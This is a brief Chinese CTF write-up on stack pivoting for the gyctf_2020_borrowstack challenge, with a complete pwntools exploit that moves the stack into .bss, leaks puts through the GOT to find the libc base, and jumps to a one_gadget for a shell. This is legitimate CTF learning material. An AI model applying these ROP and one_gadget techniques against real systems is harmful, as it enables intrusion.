這是我第一次拿着大佬的exp調試的棧遷移,有許多收獲,所以一定要記錄下來
流程分析
程序很簡單,不過,由於溢出后沒有什么可以在運行的了,所以我們需要將棧遷移到bss段中
思路
通過兩次的新老leave,將棧遷移到bss段上,不過要盡量往高地址遷移,以免在其又一次運行main函數時候,申請的臨時變量的空間會覆蓋到了我們的got表中
from pwn import * #p=remote('node3.buuoj.cn',25375) #p=process('./gyctf_2020_borrowstack') p=gdb.debug('./gyctf_2020_borrowstack','b *0x40068F') elf=ELF('./gyctf_2020_borrowstack') libc=ELF('../libc-2.23.so') p.recv() payload=0x60*b'a'+p64(0x601090)+p64(0x400699) p.send(payload) p.recv() #p64(0x4004c9)*0x14 payload=p64(0x4004c9)*0x14+p64(0x400703)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.symbols['main']) p.send(payload) libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) libc_base=libc_base-libc.symbols['puts'] gdb.attach(p) one_gadget=libc_base+0x4526a payload=b'p'*0x60+b'pppppppp'+p64(one_gadget) p.send(payload) p.interactive()